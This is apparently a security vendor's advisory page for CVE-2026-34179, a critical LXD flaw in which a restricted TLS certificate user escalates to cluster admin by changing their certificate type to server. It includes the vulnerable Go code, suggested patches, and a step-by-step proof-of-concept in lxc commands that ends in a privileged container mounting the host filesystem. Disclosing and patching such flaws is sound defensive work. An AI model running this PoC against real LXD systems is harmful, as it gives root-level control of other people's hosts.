Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-34179 lxd

CRITICALFix: canonical/lxd#17936

CVE-2026-34179 is a critical-severity (CVSS 9.1) CWE-915 vulnerability in github.com/canonical/lxd. No vendor fix is recorded yet; mitigation options are listed below.

Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Also known asGHSA-c3h3-89qf-jqm5GO-2026-5306
Published
Apr 9, 2026
Updated
Sep 9, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34179.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs20th percentile — riskier than 20% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34179 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/canonical/lxd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
		// Ensure the user in not trying to change fields other than the certificate.
		if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
			return response.Forbidden(errors.New("Only the certificate can be changed"))
		}
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
		// Reset dbCert in order to prevent possible future security issues.
		dbCert = dbCluster.Certificate{
			Certificate: dbInfo.Certificate,
			Fingerprint: dbInfo.Fingerprint,
			Restricted:  dbInfo.Restricted,
			Name:        dbInfo.Name,
			Type:        reqDBType,
		}

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

  1. Add Type to the guard check at line 992:
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
  1. Use the original type in the reset block at line 1008:
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
    return response.InternalError(err)
}

dbCert = dbCluster.Certificate{
    Certificate: dbInfo.Certificate,
    Fingerprint: dbInfo.Fingerprint,
    Restricted:  dbInfo.Restricted,
    Name:        dbInfo.Name,
    Type:        origDBType,
}

Patches

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/canonical/lxd0.0.0-20210305023314-538ac3df036eNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/canonical/lxd has shipped for CVE-2026-34179 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34179 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34179. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from `client` to `server` via PUT/PATCH to `/1.0/certificates/{fingerprint}`. The non-admin guard and reset block in `doCertificateUpdate` fail to validate or reset the `Type` field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting `ProtocolCluster` with full admin privileges. ### Details `doCertificateUpdate` in `lxd/certificates.go` handles PUT/PATCH requests to `/1.0/certi
O3 Security · Impact-Aware SCA

Is CVE-2026-34179 in your dependencies?

O3 Security finds CVE-2026-34179 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34179: lxd PrivEsc (Critical 9.1) | O3 Security